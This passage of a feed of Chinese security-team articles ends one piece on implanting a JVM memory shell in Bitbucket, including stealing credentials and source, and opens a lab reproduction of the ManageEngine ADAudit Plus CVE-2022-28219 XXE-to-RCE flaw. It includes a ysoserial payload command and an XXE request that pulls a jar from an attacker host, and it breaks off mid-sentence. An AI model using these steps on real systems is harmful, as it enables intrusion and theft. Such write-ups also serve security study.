.append(&#34;}&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;   } catch (Throwable throwable) {&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;       throwable.printStackTrace();&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;   }&#34;).append(&#34;\n&#34;)<br/>            ;</code></pre><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 生成新的class增加读写文件的依赖：</p></li></ol><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">classPool.importPackage(&#34;java.io.File&#34;);<br/>classPool.importPackage(&#34;java.io.InputStreamReader&#34;);<br/>classPool.importPackage(&#34;java.io.FileOutputStream&#34;);</code></pre><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. 删除修改jar包的代码 bitbucket权限无法修改对应jar包</p></li></ol><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">漏洞武器化</h3><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">不出网环境利用</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该漏洞需要有公开的项目，这种情况在外网很不常见。一般内网才能遇到符合条件环境，并且内网服务器出网一般存在限制。如何不出网利用是一个需要解决的问题。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要障碍是如何把几百K甚至更大的文件传到服务器上。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们的思路有两个：1.通过java原生的命令对源码进行编译，源码通过echo及base64命令写入。2.寻找上传的地方或记录post包的日志，使用sed/grep将其提取出来。</p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">经过测试笔者发现在搜索触发csrf错误会记录到日志：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.37510803802938636" title="null" data-w="1157" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d7f24b88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9H2JCiaO857hlN1FhWns9lNvznib5znpKfBicsdkZLvjdXckL0bb5g5Mgzw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">配合linux命令进行提取</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3996584116140051" title="null" data-w="1171" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1342a357&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HvM23hbAESM44grfXqtYPzYMjKzy4EhjNsgibEialFfMJjibbR3g5ZOsSQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">美中不足的是header中依旧存在长度限制，和get一样需要多次发包。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">项目源码获取</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">拖文件系统还原非常的复杂，成本很高。登录用户界面会记录日志。且该项目使用动态js加载，命令行工具从页面获取较为困难。我们可以进行取巧，bitbucket提供系列api。并且API支持basic认证，可以直接通过api读取文件/下载文件：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="http://192.168.137.204:7990/rest/api/1.0/projects/TEST/repos/test/browse/1.txt" target="_blank">http://192.168.137.204:7990/rest/api/1.0/projects/TEST/repos/test/browse/1.txt</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="http://192.168.137.204:7990/rest/api/latest/projects/TEST/repos/test/archive?format=tar.gz" target="_blank">http://192.168.137.204:7990/rest/api/latest/projects/TEST/repos/test/archive?format=tar.gz</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">并且发现bitbuct的后台审计日志并没有记录到日志，结合我们内存马记录到的密码，结果你们懂的。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过本文，我们学会了如何远程操作jvm虚拟机给目标植入内存马。内存马的功能除了执行命令，我们可以发散思维，拿到一切可利用的东西，比如从jvm中拿到cookie，拿到链接密钥明文等。给我们的渗透带来进一步的可能。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">源码</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">涉及的代码已上传github：<a href="https://github.com/7BitsTeam/LearningAgentShell" target="_blank">https://github.com/7BitsTeam/LearningAgentShell</a></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">参考</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://juejin.cn/post/6844904035305127950" target="_blank">https://juejin.cn/post/6844904035305127950</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://juejin.cn/post/7078681608206680094" target="_blank">https://juejin.cn/post/7078681608206680094</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://blog.csdn.net/jklbnm12/article/details/119335763" target="_blank">https://blog.csdn.net/jklbnm12/article/details/119335763</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://xz.aliyun.com/t/11003" target="_blank">https://xz.aliyun.com/t/11003</a></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499415">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=06a25c97&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499415%26idx%3D1%26sn%3D3a8ff9e5f4596f01255f9ef11b2cd425%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Nov 2022 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499383&amp;idx=1&amp;sn=645131d27614103205f28c2aa0a0d9c3</link>
      <description>CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-11-11 09:20</span> <span style="display: inline-block;">江苏</span>
</p>

<p>CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8c47ed2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVUictDWmlzT9emdahh0mia381ynEcGCwE9M7MD3gVazicpcXnao47hgwRA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">一、环境搭建</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">需要一个域环境，将机器提升为域控之后。安装</span><span style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: left;line-height: 1.75;color: rgb(87, 107, 149);">managerEngine</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">，直接下载好拖到域控上安装即可。安装完成之后，访问dc的8081端口（默认为8081）。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4154147615937296" title="null" data-w="1531" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=456ea46a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVUSs1R11cibkZQSTEhS3eNbnib3f4eX58n58oQXWpO7YHxpVo8p07A2cA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">默认账号为admin/admin，managerEngine也能默认识别到当前登录域的netbios</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.44312630844382417" title="null" data-w="1433" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=69b80266&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVe8Aic5JsYzMIicDnUIltrLQtEhsAaTbw9nHqcZNiaE2FZ6A6nezgAj7zg%2F640%3Fwx_fmt%3Dpng"/></figure><section style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;white-space: normal;padding-right: 8px;padding-left: 8px;"><table><thead style="line-height: 1.75;background: rgba(0, 0, 0, 0.05);font-weight: bold;color: rgb(63, 63, 63);"><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;">MangeEngine机器（dc）</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;">域名</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;">攻击机（kali）</td></tr></thead><tbody><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">192.168.20.246</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">fbi.gov</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">192.168.20.151</td></tr></tbody></table></section><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">二、漏洞复现</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">第一步</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">首先使用</span><span style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: left;line-height: 1.75;color: rgb(87, 107, 149);">ysoserial</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">生成反序列化payload（使用CommonBeanutils1 gadget）。 </span><code style="white-space: normal;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe &gt; xxe-upload-test.jar</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.08281053952321205" title="null" data-w="797" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0a8f4bd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVxCPF90EugbeWVrbnOEEGqoFb4hosafeEI4BMPQCHYpa31ua5tvuemQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">第二步</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">（<a href="https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf" target="_blank">https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf</a> 在这里提到，通过xxe我们可以上传文件和列举目录 可以使用这个ftp服务器来使文件驻留到目标服务器中。）</p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">使用</span><span style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: left;line-height: 1.75;color: rgb(87, 107, 149);">BlockingServer</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">，可以使用这个ftp服务器来使文件驻留到目标服务器中。 </span><code style="white-space: normal;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">java BlockingServer 9090 xxe-upload-test.jar</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.08748481166464156" title="null" data-w="823" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b17a5bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVkVBkMlZ9E8u0RFCGUiavqK1iah3Too4OXicsyOlfFQSAjrlvgtLPHVXIg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">之后发送数据包</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">POST /api/agent/tabs/agentData HTTP/1.1<br/>Host: 192.168.20.246:8081<br/>Accept-Encoding: gzip, deflate<br/>Accept: */*<br/>Connection: keep-alive<br/>Content-Length: 316<br/>Content-Type: application/json<br/>[<br/>    {<br/>        &#34;DomainName&#34;: &#34;fbi.gov&#34;,<br/>        &#34;EventCode&#34;: 4688,<br/>        &#34;EventType&#34;: 0,<br/>        &#34;TimeGenerated&#34;: 0,<br/>        &#34;Task Content&#34;: &#34;&lt;?xml version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34;?&gt;&lt;!DOCTYPE foo [&lt;!ENTITY ssrf SYSTEM \&#34;jar:<a href="http://192.168.20.151:9090/xxe-upload-test.jar!/myfile.txt\" target="_blank">http://192.168.20.151:9090/xxe-upload-test.jar!/myfile.txt\</a>&#34;&gt; ]&gt;&lt;foo&gt;&amp;ssrf;&lt;/foo&gt;&#34;<br/>    }<br/>]</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.11791907514450867" title="null" data-w="865" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=07947409&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVOEibbuXx50ia0X227sSlvjLF7nDXY2yvpxx2DvOvAeMsMbCeVicahiaEvQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">BlockingServer 